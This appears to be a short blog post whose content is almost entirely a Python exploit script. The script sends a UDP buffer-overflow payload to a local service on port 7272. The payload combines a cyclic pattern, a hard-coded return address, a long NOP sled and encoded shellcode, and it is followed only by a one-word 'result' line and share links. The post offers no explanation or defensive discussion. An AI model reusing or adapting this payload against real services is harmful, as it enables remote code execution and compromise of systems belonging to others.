#!/usr/bin/python
from socket import *
import struct

host = "localhost"
port = 7272
shellcode ="AAAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab\xe0\xe6\xff\xbf"+"\x90"*900+"\xb8\xb6\x0a\x95\x0e\xd9\xf7\xd9\x74\x24\xf4\x31\xc9\x5d\xb1\x14\x83\xed\xfc\x31\x45\x10\x03\x45\x10\x54\xff\xa4\xd5\x6f\xe3\x94\xaa\xdc\x8e\x18\xa4\x03\xfe\x7b\x7b\x43\xa4\xdd\xd1\x2b\xa4\xe0\xc4\xf7\x30\xf5\xb7\x57\x4c\x14\x5d\x31\x16\x1a\x22\x34\xe7\xa0\x90\x42\x58\xce\x1b\xca\xdb\xbf\xc2\x07\x5b\x2c\x53\xfd\x63\x0b\xa9\x81\xd5\xd2\xc9\xe9\xca\x0b\x59\x81\x7c\x7b\xff\x38\x13\x0a\x1c\xea\xb8\x85\x02\xba\x34\x5b\x44"
payload = "\x30\xff"+shellcode
sock = socket(AF_INET,SOCK_DGRAM)
sock.sendto(payload,(host,port))
sock.close()

And result :

exploit

References:

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca